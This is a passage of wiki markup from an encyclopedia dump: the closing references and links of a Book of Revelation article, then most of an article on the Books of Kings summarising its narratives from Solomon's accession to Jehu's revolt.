*[[Martin Luther]]: [http://www.st-andrews.ac.uk/jfec/cal/reformat/theologo/grit6222.htm#title Against the  Roman Papacy, an Institution of the Devil - March 1545] cf. [http://web.archive.org/web/20030604155554/http://ic.net/~erasmus/RAZ341.HTM Martin Luther the &quot;Super-Pope&quot; and de facto Infallibility ] by [[Dave Armstrong]] [http://ic.net/~erasmus/RAZ212.HTM] ;[http://www.wordtrade.com/religion/christianity/lutherR.htm Luther's Works CD-ROM Edition]; [[Pope Gregory I|Pope Gregory I ( c.540-604 )]].
*[[John Calvin]] on [http://www.st-andrews.ac.uk/jfec/cal/reformat/theologb/rome.htm#title On Superstition and the Roman religion]

==See also==
===Directly related===
* [[Number of the Beast (numerology)]]
* [[Four Horsemen of the Apocalypse]]
* [[Whore of Babylon]]
* [[Apocalypse]]
* [http://en.wikisource.org/wiki/Bible,_English,_King_James,_Revelation Wikisource Text]
* [[Fifth Monarchy Men]]
* [[Laodicean Church]]
* [[Summary of Christian eschatological differences]]

===General===
*[[Christian eschatology]]
*[[Apocalyptic literature]]
*[[Apocalypticism]]
*[[Bible code]]
*[[End times]]
*[[Jesus on the destruction of Jerusalem]]
*[[Millennialism]]
*[[Books of the Bible]]
*[[Left Behind]]
*[[The Omen]]
*[[Endtime Ministries]]

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|colspan=3|&lt;center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|&lt;Center&gt;Preceded by:&lt;br&gt;&lt;Center&gt;[[Epistle of Jude|Jude]]
|'Revelation'
|&lt;Center&gt;Followed by:&lt;br&gt;&lt;Center&gt;'''End'''
|}
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[[Category:Ancient Roman Christianity]]
[[Category:Book of Revelation|*]]
[[Category:Christian apocalyptic writings]]
[[Category:Christian eschatology|Revelation, Book of]]
[[Category:New Testament narrative]]
[[Category:Prophecy]]

[[ca:Apocalipsi]]
[[de:Offenbarung des Johannes]]
[[es:Apocalipsis]]
[[fi:Johanneksen ilmestys]]
[[fr:Apocalypse]]
[[id:Wahyu kepada Yohanes]]
[[ja:ヨハネの黙示録]]
[[jv:Kitab Wahyu]]
[[ko:요한묵시록]]
[[nl:Openbaring van Johannes]]
[[pl:Apokalipsa świętego Jana]]
[[pt:Apocalipse de São João]]
[[ru:Апокалипсис]]
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  <page>
    <title>Books of Kings</title>
    <id>4380</id>
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      <minor />
      <comment>/* Contents */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
The '''Books of Kings''' (also known as '''[The Book of] Kings''' in [[Hebrew language|Hebrew]]: ''Sefer Melachim'' &amp;#1502;&amp;#1500;&amp;#1499;&amp;#1497;&amp;#1501;) is a part of [[Judaism]]'s [[Tanakh]], the [[Hebrew Bible]]. It was originally written in [[Hebrew language|Hebrew]], and it was later included by [[Christianity]] as part of the [[Old Testament]]. 

==Contents==

It contains accounts of the kings of the ancient [[Kingdom of Israel]] and [[Kingdom of Judah]].

They contain the annals of the Jewish commonwealth from the accession of [[Solomon]] till the subjugation of the kingdom by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] and the [[Babylonians]] (apparently a period of about four hundred and fifty-three years). The Books of King synchronize with 1 Chronicles 28 - 2 Chronicles 36:21. While in the Chronicles greater prominence is given to the priestly or [[Levite|Levitical]] office, in the Kings greater prominence is given to the royal office.  Kings appears to have been written considerably earlier than Chronicles, and as such is generally considered a more reliable historical source.

*'''The story of [[Adonijah]]''' (1 Kings 1:1-2:46) - During his old age, David spends his nights with [[Abishag]], a woman appointed for the purpose of keeping him warm. Adonijah, a son of David, gathers attendants and pursuades [[Joab]] and [[Abiathar]] to support his claim to be David's heir. Opposed to this are [[Zadok]], [[Benaiah]], [[Nathan]], and [[Shimei]], as well as the army generals, who favour [[Solomon]], another son of David. Adonijah invites his supporters, neutral court officials, and his other brothers excepting Solomon, to the [[Zoheleth]] stone. Nathan pursuades Bathsheba, the mother of Solomon, to trick David into announcing that Solomon is his heir. After having done this, David has Solomon anointed as the next king. When Adonijah is told, he and his guests flee, and Adonijah seeks sanctuary at the Jerusalem altar. Begging not to be harmed by Solomon, Adonijah is only told that he won't be harmed if he is guiltless. Dying, David instructs Solomon to take revenge on Joab, a supporter of Adonijah, and Shimei, and to be kind to the sons of Barzillai. Adonijah approaches Bathsheba asking for a conciliatory gesture from Solomon, namely he asks for Abishag, but when Bathsheba asks Solomon about this, Solomon has Benaiah slaughter Adonijah. Abiathar, who had supported Adonijah, is then deposed from being head priest of the jerusalem altar, and exiled to his homeland, and is replaced by Zadok. Joab, another of Adonijah's supporters, seeks sanctuary at the Jerusalem altar, but Solomon has Benaiah slaughter Joab at the altar itself. As for Shimei, Solomon orders him to remain in Jerusalem, but when Shimei later retrieves his servants who had fled to [[Gath]], Solomon has Benaiah slaugter Shimei for leaving.

*'''The story of the [[Wisdom of Solomon]]''' (1 Kings 3:1-15 and 5:9-14) - After having cemented an alliance with Egypt by marrying the daughter of Pharaoh, Solomon went to [[Gibeon]], to make sacrifices, as it was the most prominent of the high places at the time. Once Solomon has made the sacrifices, in a dream God appears to Solomon and grants him a wish, so Solomon asks for wisdom. Since Solomon asked wisely rather than asking for riches, his wish for wisdom is granted, and Solomon surpassed the Egyptians and Cedemites in wisdom, his fame spreading among the neighbouring nations. Solomon also uttered thousands of songs and proverbs. 

*'''The story of the [[judgement of Solomon]]''' (1 Kings 3:16-28) -Two whores come to Solomon and ask him to settle an argument between them as to who is the mother of a particular baby. Solomon asks for a sword to cut the baby in half, and the first whore tells him to give the baby to the other, so Solomon gives her the baby.

*'''The [[List of Solomon's officials]]''' (1 Kings 4:1-19, and 5:7-8) - An extensive list is given of the officials of Solomon's court.The commisaries, one for each month of the year, provide the food for Solomon and his guests, as well as for his horses, and the various locations are listed that they source the food from. 

*'''The story of the construction of the [[Temple of Solomon]]''' (1 Kings 5:15-7:51): [[Hiram]] of [[Tyre]], a friend of David's, sends an embassy to Solomon, causing Solomon to propose to build a temple. Solomon and Hiram enter into a trade agreement so that Solomon can obtain the necessary raw materials. Solomon enlists several workers via conscription, and Solomon's men, those of Hiram, and the Gebalites, prepare the temple, of which an extensive description of the temple is given. Solomon also builds a palace for himself, which is also described. A bronze worker, somewhat confusingly, also called Hiram (named ''Hiram-abi'' by Chronicles, i.e. ''Hiram is my father''), is brought from Tyre to do Solomon's metal work. Two columns - named [[Jachin]] and [[Boaz]] - are built next to the temple door, and the temple is generally designed like those of [[Hadad]] in Tyre's vassal states.

*'''The story of the [[Translation of the Ark to the Temple]]''' (1 Kings 8:1-9:9) - The elders of Israel, and the Israelite princes, come to Solomon for the moving of [[ark of the covenant|the ark]] from [[Zion]]. While the priests move the ark, a sacrifice is made which is so substantial that it cannot be counted. Finally, when the ark arrives in the Temple, and the priests that had been carrying it return outside, a dark cloud fills the temple, which Solomon says is where Yahweh intends to dwell forever. Solomon then extracts a promise from Yahweh to uphold the [[Davidic covenant]], and to return to the aid of the people if they sin but later repent.

*'''The story of [[Cabul]]''' (1 Kings 9:10-14) - After twenty years of giving Solomon the supplies that he wished for, Hiram is given twenty cities in Galilee by Solomon, which became known as Cabul, since Hiram wasn't satisfied with them.

*'''An account of [[Solomon's building programme]]''' (1 Kings 9:15-25) - Solomon uses slave labour to build several cities for storing supplies. Amongst these is Gezer, which had previously existed but was burnt to the ground by Pharaoh, who returned it to Solomon's ownership as a dowry. For this building programme, Solomon enslaved every Canaanite still living in the land. Solomon also builds [[Millo]] as soon as Pharaoh's daughter moves from Zion to her newly built palace. 

*'''The story of the [[Queen of Sheba]]''' (1 Kings 10:1-10, and 10:13) - The Queen of Sheba visits Solomon and tests his wisdom, bringing with her a large retinue, and precious expensive things. Solomon's replies leave her breathless at his wisdom, and she is further impressed by his waiters, and banquet, and therefore gives Solomon some of her precious things. Before she returns to her homeland, Solomon gives her everything that she asks for, and other presents. 

*'''An account of the [[wealth of Solomon]]''' (1 Kings 4:20-5:6, 9:26-28, 10:11-12, and 10:14-29) - Solomon's empire stretched all the way from the Euphrates to Egypt (though quite how it got this big is not explained), and the many vassal states paid him tribute. He also had extravagent banquets every day, and owned thousands of horses. Solomon built a fleet in Ezion-geber, near Elath, and Hiram staffs him with seamen, who collect a large amount of gold from Ophir and bring it to Solomon. Solomon uses the gold to make goblets and utensils and so forth, even creating a throne made from ivory and inlaid with gold. Hiram's fleet brings further expensive materials from Ophir besides the gold, such as ivory, silver (which, according to the text, at the time was worthless), and [[monkey]]s. In addition to the gold from Hiram's fleet, from merchants, and from the Arab kings, all the visitors to Solomon's court bring with them expensive tributes, hence Solomon grew richer than anyone else on earth. Solomon also traded horses.

*'''The story of [[Solomon's harem]]''' (1 Kings 11:1-13) - Apart from his Egyptian wife, Solomon also had over 300 wives and 700 [[concubine]]s from nations that the [[Mizvot]] forbid intermarriage with. The wives make Solomon polytheistic, worshipping the gods of his wives, such as [[Astarte]], [[Milcom]], and [[Chemosh]], even building high places to them opposite Jerusalem. So Yahweh promises Solomon that a part of the kingdom will be removed and given to another during the reign of Solomon's descendants. 

*'''The story of [[Hadad (Edomite refugee in Egypt)|Hadad, the survivor of genocide]]''' (1 Kings 11:14-22 and 11:25b) - Hadad, the sole survivor of [[David's vassal states|King David's genocide of the Edomites]], fled to Egypt. Having won favour with the Pharaoh, Hadad was given in marriage to the sister of Queen [[Tahpenes]], the wife of Pharaoh. Hadad and his wife have a son, who Pharaoh brings up as his own. Hadad later requests permission from Pharaoh to return to his own country, and he becomes king of Edom. 

*'''The story of [[Rezon]]''' (1 Kings 11:23-25a) - A man named Rezon fled from [[Hadadezer bar Rehob|Hadadezer, the king of Zobah]], when [[David's vassal states|King David slaughtered Hazadezer's army]]. Rezon gathered a group of men and took over as king of Damascus, seceeding from Solomon's empire.

*'''The story of [[Rehoboam]]''' (1 Kings 11:41-12:1, 12:3-19, 12:20b-24, and 14:21-31a) - When Solomon died, his son, Rehoboam, was proclaimed king at Shechem. The people appeal to Rehoboam to have their servitude lightened, and so he seeks the advice first of the elders and then of the youths. The elders suggest complying with the wishes, but Rehoboam decides to go with the advice of the youths, namely to enforces even heavier servitude. This results in rebellion, and when Rehoboam sends out [[Adoram]], the man in charge of forced labour, the people stone Adoram to death. Rehoboam is forced to flee to Jerusalem as only Judah remains loyal to him, and there he plans an attack using the army of Benjamin and Judah against the forces of Israel. However, a ''man of God'', named [[Shemiah]], is told by God to tell Rehoboam not to fight, and when Rehoboam is told this, he complies. Later in his reign, [[Shishak]], the [[Pharaoh]], attacks, looting the temple and palace, leaving Rehoboam compelled to use bronze to replace the golden shields of Solomon that Shishak had taken.

*'''The story of [[Jeroboam]]''' (1 Kings 11:26-40, 12:2, and 12:25-32) - The man in charge of the work force from the house of Joseph, Jeroboam, bumps into [[Ahijah]], a prophet from Shiloh, when Jeroboam's task, the construction of Millo, is complete. Ahijah spontaneously tore his cloak into twelve parts and gave ten pieces to Jeroboam as a symbol of God's will, explaining that the division is owing to Solomon turning to heathen practices. Solomon subsequently tries to have Jeroboam killed for treason, but he escapes to the protection of the Egyptian Pharaoh, only returning when he hears that Solomon's son has succeeded him as king. When Israel rebels against Rehoboam, they appoint Jeroboam as their new king, and Jeroboam establishes Shechem as his capital and then moves to [[Penuel]]. However, Jeroboam percieves that a religion centralised at Jerusalem, particularly the annual pilgramage to there, is a threat to independance, and so establishes cult centres at the very edges of his own kingdom, putting up golden calves at Bethel and at Dan, saying &quot;here is your God&quot;. Jeroboam also appoints non-Levites to the priesthood. 

*'''The story of the [[fasting man of God]]''' (1 Kings 12:33-13:34) - At a rival ceremony in Bethel to the traditional one at Jerusalem, Jeroboam prepares to make a sacrifice. At that moment, a man of God (who is not named), prophecies to Jeroboam about a future destruction of the priests and worship at Bethel. Jeroboam orders that the man be siezed, but his arm freezes and the altar collapses, so Jeroboam takes this as a sign and appeals to the man of God. The man of God restores Jeroboam's arm, but refuses Jeroboam's hospitality as the man of God was ordered to fast by God, and to return home immediately. An old prophet from Bethel (who is not named) follows the man of God, and offers his own hospitality, but it too is rejected. Then the old prophet states that God had told him to offer his hospitality, so the man of God accepts, but is killed by a lion as he had broken the fast. Then the old prophet mourns the man, buries him, and requests to be buried in the same grave.

*'''The story of [[Abijah of Israel]]''' (1 Kings 14:1-20) - Jeroboam's son and heir, Abijah, becomes sick, so Jeroboam sends his wife, in disguise, to the prophet [[Ahijah]], to ask what can be done. Ahijah replies that Jeroboam's Canaanite practices have condemned his dynasty to destruction, and Abijah is doomed from the moment the wife returns to the son. Duly, when the wife returns to Tirzah and enters her house, the son dies.

*'''The story of [[Abijam|Abijah of Judah]]''' (1 Kings 14:31b-15:8a) - After Rehoboam dies, Abijah (named as Abijam in Kings but Abijah in Chronicles), his son, succeeds him as king of Judah. Abijam appears to be the grandson (or otherwise a descendant) of [[Absalom]] by his mother's side. Abijam continued the war against Jeroboam to conquer Israel. A more full account of the war is given in Chronicles.

*'''The story of [[Asa of Judah]]''' (1 Kings 15:8b-24a): Abijam's son, Asa, succeeds him as king of Judah, and he quickly deposed Maacah, his grandmother, from having any authority, as she supports the Canaanite religious practices. Asa also burns his grandmother's [[asherah]]. During Asa's reign there is a perpetual war between him and Baasha, the king of Israel, who Ben-hadad, king of Aram, was supporting. Asa bought Ben-hadad's loyalty by sending him what remained of the treasures of the temple and his palace, so Ben-hadad changes sides and attacks several cities, and the regions of the tribes of Dan and Naphtali. Baasha retreats to his capital rather than continue fortifying [[Raamah]], so Asa dismantles the fortifications and uses them to build Geba. In his old age, Asa had infirm feet. 

*'''The story of [[Baasha]]''' (1 Kings 15:25-16:6a) - When Jeroboam died, his son, [[Nadab]], took over as king of Israel. However, Baasha, the son of Ahijah, plots against Nadab, and while Nadab is besieging [[Gibbethon]]. Becoming king in Nadab's stead, Baasha then slaughters all the remaining relatives of Jeroboam. During Baasha's reign, there is a permanent war between Asa and Baasha, and although Ben-hadad originally supported Baasha, he changed to Asa's side, capturing several large areas of the land, and causing Baasha to retreat back to his capital, [[Tirzah]]. A prophet, named Jehu, is told by Yahweh that Baasha's actions are to be condemned, so Jehu tells Baasha. 

*'''The story of [[Zimri]]''' (1 Kings 16:6b-20) - After the death of Baasa, he is succeeded by his son, [[Elah]]. However, one of his leading commanders, Zimri, plots against him, and while Elah is getting drunk, Zimri strikes him dead. Zimri then slaughters all the remaining relatives of Baasa and takes over the throne of Israel. The army, however, proclaim Omri, their general, as the king, and lay siege to Tirzah, where Zimri is located. Zimri decides to burn his palace to the ground, killing himself.

*'''The story of [[Omri]]''' (1 Kings 16:15b-19, 16:21-28a) Having been proclaimed king by the army, Omri besieges Zimri, who then dies in a fire. Subsequently, only half of Israel support Omri, the other half supporting a man named [[Tibni]], to be king. The civil war ends with Omri and his supporters as victor. Omri later constructs a new capital at [[Samaria]], and moves there. Despite the many monumental achievements and constructions that are archeaologically attributed to the period normally identified for his reign, the Book of Kings neglects to mention any of these, preferring to portray Omri as an insignificant heretic that happened to become king and then, later, die.

*'''The story of [[Elijah and the widow]]''' (1 Kings 17:1-24) God ordains that no rain shall fall while he is served by a man from [[Tishbe]], named [[Elijah]], or at least this is the case according to Elijah. Elijah is sent to a stream, and fed by ravens, day and night, but when the stream dries up, due to the lack of rain, he is sent on to a widow, who will wait on him. Demanding from the widow water and bread, Elijah is met with the response that there isn't enough flour or oil. Elijah, however, promises that the flour and oil will last until the rains return, which comes true. The widow's son later grows sick, and stops breathing, so she accuses Elijah of making this happen. Elijah responds by laying out the son's body on his own bed, stretching himself over on the body three times, and then praying, whereupon the son comes back to life.

*'''The story of [[Elijah and the prophets of Ba'al]]''' (1 Kings 16:28b-33, and 18:1-46) - After the death of Omri, his son, [[Ahab]], becomes the king. Ahab marries [[Jezebel]], and worships [[Hadad]] (often referred to by the epithet ''Ba'al'' - meaning ''lord''), building a totem and temple to his worship. Jezebel slaughters the prophets of Yahweh, though some are rescued by [[Obadiah]], Ahab's [[vizier]]. Meanwhile, the famine grows bitter, and Elijah is sent by God to Ahab, with Obadiah joining him on his way. When Elijah and Ahab meet, they trade insults, with Elijah calling Ahab a sinner due to his religious practices, and Ahab calling Elijah the ''disturber of Israel''. Elijah then challenges Hadad worship, demanding all of Israel attend mount [[Carmel]]. At Carmel, Elijah announces he will sacrifice a bull to Yahweh, and he expects that the worshippers of Hadad will sacrifice a bull to Hadad, stating that the real god will respond. When there is no response from the sacrifice to Baal, which Elijah mercilessly mocks, he rebuilds the older altar to Yahweh, makes the sacrifice, and a fire appears from heaven and consumes it. The people convert from worship of Hadad to that of Yahweh en-masse, and Elijah has the throats of the prophets of Hadad slit at a river. A storm subsequently gathers, and Elijah and Ahab race to Jezreel, Elijah staying in front.

*'''The story of [[Hiel|Hiel and the rebuilding of Jericho]]''' (1 Kings 16:34) - During the reign of Ahab, a man named Hiel rebuilds Jericho from its ruins. However, his sons die during construction, fulfilling a prophecy that Joshua had made.

*'''The story of [[Elijah's flight to Horeb]]''' (1 Kings 19:1-21) - After Ahab has told Jezebel what has happened, she seeks revenge against Elijah, who flees Beer-sheba, and goes into the desert. Elijah prays for death, but is ordered by an angel to eat and drink, so he walks for 40 days and nights to [[Horeb]]. On the mountain, there are a series of phenomona (that could easily be a dramatic description of a [[volcano]]), and then a faint whisper asking Elijah why he is present. After Elijah explains, he is ordered to go to anoint [[Hazael]] as the next king of Aram (Elisha does this as well), Jehu as king of Israel (Elisha does this as well), and [[Elisha]] as his own sucessor, and to demand that they slaughter everyone except those who devoutly worship Yahweh. Elisha, a plowman, readily follows Elijah, even killing his oxen, and burning them as a sacrifice, having broken up his plowing equiptment to use as fuel.

*'''The story of the [[First Siege of Samaria]]''' (1 Kings 20:1-21) - Ben-hadad, the king of Aram, lays siege to Samaria, and Ahab gives up his treasure, harem, and sons. Ben-hadad then further demands to be allowed to ransack Ahab's property, but the elders of Israel disuade Ahab from agreeing, angering Ben-hadad. A prophet arrives and tells Ahab that he will win, so Ahab gathers the army of Israel together, and they launch a surprise attack, causing the Aramaeans to flee. 

*'''The story of the [[battle of Aphek]]''' (1 Kings 20:22-43) - The servants of Ben-hadad tell him to attack on the plains, as the God of Israel is one of mountains, so Ben-hadad does just this, going to [[Aphek]], but the prophet returns and tells Ahab that he will win, so Ahab gathers his army, and strikes down the enemy. The aramaeans flee into the city of Aphek, but its walls collapse. The servants of Ben-hadad tell him that the kings of Israel are merciful, so they are sent to Ahab to beg for mercy, and Ahab grants it. Meanwhile, on the orders of Yahweh, a prophet tells a companion to strike him, but the companion refuses, so the companion is killed by a lion. Once again the prophet tells a (different) companion to strike him, but this time the companion does so, and wounds him. The prophet pretends to the king that he was wounded in battle, and that he had been told to guard another man, on pain of death, but the other man escaped. The king of Israel consequently tells the prophet that he has condemned himself, but the prophet tells the king that the king has condemned himself, as the prophet had doomed Ben-hadad to destruction, and mercy wasn't approved by God.

*'''The story of [[Naboth's vineyard]]''' (1 Kings 21:1-29) - A vineyard by the palace of Ahab is owned by a man named Naboth, but Ahab tries to buy it for a reasonable price and exchange of land, so that he can turn it into a vegetable garden. Naboth, however, refuses to give up his ancestral land, which angers Ahab, and causes Jezebel to arranges for Naboth to be falsely accused of blasphemy and treason, and for him to be stoned to death. Once Naboth has been killed, Jezebel tells Ahab, and he sets off for Naboth's vineyard, but meets Elijah there. Elijah prophecies that Ahab's dynasty will be eaten by dogs and by the birds. Ahab then tears his clothes, so Elijah is told by Yahweh that Ahab's penitance has bought him time.

*'''The story of the [[Battle of Ramoth-gilead]]''' (1 Kings 22:1-40a, and 22:54) - After a period of peace between Aram and Israel, Jehoshaphat of Judah aproaches the king of Israel and enters a pact to help take back Ramoth-gilead from Aram. Jehoshaphat asks for consultation with a prophet that isn't one of the yes-men, the only one meeting this requirement being Micaiah (son of Imlah), who the (unidentified) king of Israel hates. Zedekiah (son of Chenaanah) made horns of iron to kill the king of Aram with. Despite the other prophets predicting success, Micaiah predicts total failure, so Zedekiah slaps him. The king of Israel orders Micaiah to be siezed and put in prison until the king returns from the war, and then disguises himself to enter the battle. Conversely, the king of Aram orders his men to only attack the king of Israel, and though some mistake Jehoshaphat for the king, his battle cry makes them realise he is not. A randomly fired arrow, by fluke, hits the disguised king of Israel, and he eventually dies from blood loss as the battle rages around him. The king's body is washed at the pool of Samaria, and the blood on his chariot is licked up by the dogs, fulfilling Elijah's prophecy about Ahab.

*'''The story of [[Jehoshaphat]]''' (1 Kings 15:24b and 22:41-51a): Jehosaphat succeeds his father, Asa, as king of Judah. Although Jehoshaphat worships Yahweh, he permits the high places to continue existing. Like Solomon, Jehoshaphat sent ships to Ophir for gold, but this time they were recked at Ezion-gezer. 

*'''The story of [[Ahaziah of Israel]]''' (1 Kings 22:40b, and 1 Kings 22:52-2 Kings 1:18) - Ahaziah, Ahab's son, succeeds him as king of Israel. Ahaziah falls through the lattice of his roof terrace, and so sends messengers to ask the god of Ekron that he worships, Hadad (referred to as ''Ba'al'' and ''Baalzebub'', a satirical corruption of ''Baalzebul'' - ''prince Baal''), if he would recover from the injury. Elijah is sent by an angel to intercept the messengers, and to tell them that Ahaziah is doomed. The men are duly informed by Elijah, and are sent back to Ahaziah. After hearing them describe Elijah, Ahaziah recognises that Elijah gave them the message, so he sends men to ask Elijah to visit him. Elijah then prophecies that the men will be killed by divine fire, and this duly occurs. Ahaziah again sends men to Elijah, and again Elijah prophecies, and the men are immediately killed by divine fire. The third time men are sent, their leader begs Elijah to listen, and an angel tells Elijah to go with them, so he does, and tells Ahaziah that he will die to his face, which comes true.

*'''The story of the [[translation of Elijah]]''' (2 Kings 2:1-18) - Elisha and Elijah are on their way to Gilgal, but Elijah tells Elisha to remain, but Elisha insists on going with him. On reaching Bethel, the prophets there tell Elisha that God is due to take Elijah on that day, but Elisha insists he already knows. Elijah tells Elisha to remain, but Elisha again insists on going with him. And so they go to Jericho, where the same events occur. At the Jordan, Elijah rolls up his mantle and touches the waters, which duly part, and the two cross on dry land. A flaming chariot and horses then come and collect Elijah and take him to heaven. Elisha then picks up Elijah's mantle, which had fallen, strikes the waters of the Jordan, which part, and then crosses back over. 

*'''Stories of the [[minor miracles of Elisha]]''' (2 Kings 2:19-24, 4:1-7, 4:38-44, and 6:1-7) Once, the inhabitants of the city (not explicitely identified, but implicitely assumable to be Jericho) complain to Elisha about the poor state of the water and the land, so Elisha sprinkles salt on a spring to purify it, as it is &quot;to this day&quot;. Elisha goes to Bethel, where a large number of small boys shout &quot;baldy&quot; at him, so Elisha curses them, and two bears come out of the forest and tear [[42]] of the boys to pieces. A widow of a member of the prophet's guild complains to Elisha that her husband's creditors want to enslave her children to pay his debts, so Elisha tells her to fill as many vessels as possible with the oil that she owns, and to sell it, and miraculously the small amount of oil fills all the containers that she is able to find. During a famine, Elisha has his servants make vegetable stew for the guild of prophets at [[Gilgal]], but one of them adds ''wild gourds'' to the stew. When realising that they have been poisoned, the guild complains to Elisha, who adds grain to the pot, and serves it to the people instead, who suffer no ills. A man from [[Baal-shalishah]] brings Elisha twenty loaves, and Elisha manages to feed a hundred people with them, miraculously dividing each loaf between five people, and there are some left-overs. The guild of prophets move to the Jordan to build themselves a larger home, and while doing so the head slips off an axe into the river, but Elisha throws a stick in and the iron axe head floats to the surface.

*'''The story of [[Jehoram of Israel]]''' (2 Kings 1:17b and 3:1-27): - Due to Ahaziah (king of Israel) being childless, upon his death, his brother, Jehoram, succeeds him as king of Israel. Moab stops sending tribute to Israel once Jehoram takes over, and raises its army against Israel. Jehoram responds by makes a pact with Judah, and the combined forces of Israel, Judah, and Edom (a vassal of Judah), set out to attack Moab. However, the water supply dries up, and they consult Elisha for help. Elisha reluctantly agrees to assist them, and, going into a trance, prophecies water and victory. Vast quantities of water then come from the direction of Edom, filling the wells, and covering the ground. From a distance, the Moabites, mistaking the water for blood, think that Israel, Judah, and Edom, have attacked each other, so the Moabites seek out the spoils. When the Moabites reach the camp of Israel, the Israelites launch a surprise attack, vanquish the Moabites, and cast stones on their fields and block their springs. The Moabites are entrapped in a city, and is besieged, so the king, having failed to escape to get reinforcements, sacrifices his son to Chemosh. The sacrifice results in Israel being defeated. Jehoram later joins Ahaziah (king of Judah) in battle against Aram, but while recovering from the wounds inflicted in the battle is killed in a conspiracy, in which Ahaziah is also killed.

*'''The story of [[Elisha and the Shunemite woman]]''' (2 Kings 4:8-37 and 8:1-6) - When Elisha visits [[Shunem]], an influential woman asks him to dine with her, and consequently he dined with her each time he was in Shunem. The woman decides to prepare a room for him so that he can stay overnight, and so Elisha asks his servant how he can repay the woman. The servant tells Elisha that the woman is childless and her husband is old, so Elisha tells the woman that she will become pregnant, which comes true. Years later, while reaping the fields, the child, a boy, complains that his head hurts, and then abruptly dies. The mother sets off to find Elisha to tell him, and when Elisha is informed, he sends his servant to put the staff of Elisha on top of the boy. The boy remains dead, so Elisha himself goes to the boy, and twice lies on top of him, placing his hands in the boy's hands and his lips on the boy's lips, and the boy's body becomes warm. The third time he lies on the boy, the boy sneezes and awakens. Elisha later warns the woman, who has become a widow, of an approaching seven year famine, so she leaves the land. After the famine is over, the woman returns, and happens to pass the king at exactly the same moment that Elisha's servant is telling the king about the resurrection of the woman's son. The king consequently assigns an official to her, and orders that the woman's land be restored to her.

*'''The story of [[Naaman]]''' (2 Kings 5:1-27) - Naaman, commander of Aram's forces, captured a girl from Israel during one of his campaigns. The girl tells Naaman, who suffers from leprosy, that Elisha can heal him. The king of Aram therefore sends Naaman to Elisha with letters of recommendation. Elisha orders Naaman to wash in the Jordan sevenfold, which angers Naaman, since there were closer rivers, but he is pursuaded to wash in the Jordan anyway, and is cured. Naaman asks Elisha how he can be repayed, but all Elisha will accept is dedication to Yahweh alone, which Naaman agrees to. Elisha's servant thinks this a bit too light, so he goes after Naaman and suggests he donate money and two festal garments, which Naaman does. However, when the servant returns to Elisha, Elisha is angry about his action and curses Gehazi with the leprosy that Naaman had had.

*'''The story of the [[Battle of Dothan]]''' (2 Kings 6:8-23) Once upon a time (c.f. the masoretic text of 2 Kings 6:8), the (unidentified) king of Aram was at war with the (unidentified) king of Israel, but Elisha told the king of Israel all of the secret plans that the king of Aram had made, so undermining his tactics. The king of Aram is angered by this and so sends an army to kill Elisha at [[Dothan]]. Elisha is not worried by this turn of events, and shows his servant that he is defended by a mountainside full of chariots of fire and horses, that were hidden from the servant's view. Elisha, by a prayer, strikes the army of Aram blind, then leads them to Samaria, where he restores their sight. At Samaria, Elisha forbids orders the king of Israel to be hospitable to the Aramaean army, and not to harm them. After a feast, the Aramaeans leave, and the Aramaeans never return again to Israel.

*'''The story of the [[Second Siege of Samaria]]''' (2 Kings 6:24-7:20) Somewhat contradicting the previous sentance, Ben-hadad, king of Aram, lays siege to Samaria. The siege causes inflation, and a famine that is so severe that some people have started eating other people's children. The (unnamed) king of Israel blames Yahweh for the tragedy, and refuses to trust Yahweh anymore, but Elisha prophecies that the an assassin has been sent against the king of Israel, and also that the inflation will end, and reverse. Four lepers realise that staying neutral, or entering the famished Israelite city, is a no-win situation for them, so they decide to go to the king of Aram, since at least there is a chance of survival. The lepers discover that the Aramaeans had fled, having mistaken some sounds for a large army, and fearing that Israel had hired Hittite and borderland mercenaries. After helping themselves to the food and treasure, the lepers decide to tell the people of Samaria that the Aramaeans have gone. Although the king of Israel does not believe them, his servants check for themselves, and when it becomes known to the rest of the population, the Aramaean camp is plundered, ending the famine.

*'''The story of the [[accession]] of [[Hazael]]''' (2 Kings 8:7-15) - When Ben-hadad, king of Aram, lies sick, Elisha happens to be visiting Aram by chance. The king therefore sends Hazael to consult Elisha about the king's illness. Elisha is uneasy, prophecying that the king will not survive, and Hazael will become the new king and slaughter the Israelites. Hazael is shocked, and questions how he could become king (despite Elijah already having anointed him as the the next king of Aram, some while ago), but when he returns, he lies to Ben-hadad and says that Elisha had prophecied a recovery. The next day, Hazael smothers the king to death with a water soaked cloth, and becomes king in his place. 

*'''The story of [[Jehoram of Judah]]''' (1 Kings 22:51b and 2 Kings 8:16-24a) - Jehoram, the son of Jehoshaphat, succeeds him as king of Judah. Jehoram makes a pact with Israel, marrying into their royal family, though this results in him following their religious practices rather than the more Yahwistic ones of his own father. Edom, previously on Judah's side, revolts, and so Jehoram battles them, but is surrounded. Jehoram manages to escape, but his army flees, and Edom gains its independance. The town of Libnah also revolts against Jehoram. 

*'''The story of [[Ahaziah of Judah|Ahaziah/Jehoahaz of Judah]]''' (2 Kings 8:24b-29 and 9:27-29) When Jehoram (king of Judah) dies, his son, named as ''Ahaziah'' in Kings and as ''Jehoahaz'' in Chronicles (both names are equivalent, they are the same [[theophory]] as suffix and prefix respectively), rules over Judah in his place. Due to their family connection, Ahaziah supports Jehoram (king of Israel) at the battle of [[Ramoth-Gilead]] against Hazael, and later visits Jehoram while he is convalescing from his battle wounds. While visiting the convalescent, the forces of Jehu attack him and he flees, but is fatally wounded, and dies at Megiddo.

*'''The story of [[Jehu]]''' (2 Kings 9:1-10:31) - Elisha sends a prophet to anoint Jehu, a son of Jehoshaphat, as the king (despite Elijah already having done this). Once the prophet does this, Jehu organises a conspiracy against Jehoram (king of Israel), who was recovering at Jezreel from wounds inflicted by Hazael. When Jehu's troops approach Joram, Joram sends messengers to meet Jehu, but as Jehu forbids them to return to Joram, Joram is forced to meet Jehu himself. They meet in the field of Naboth, and Jehu accuses Jehoram's mother, Jezebel, of fornication and witchcraft, so Jehoram flees shouting that this is treason. However, on his way back, Jehoram is shot dead by Jehu with an arrow, and his body is taken to the field of Naboth in order to fulfil a prophecy. Ahaziah, the king of Judah, sees this, and flees, but is mortally wounded by Jehu, and dies at Meggido. Jehu heads to Jezreel, and when she learns of this, Jezebel puts on makeup, and calls down accusing him of murder, and asking if all is well. Jehu shouts out and pursuades the palace eunuchs to [[defenestration|defenestrate]] Jezebel, sending her to a gory death. Jehu challanges Israel to oppose him, but, frightened by him, they submit, and in accordance with his wishes, decapitate all the descendants of 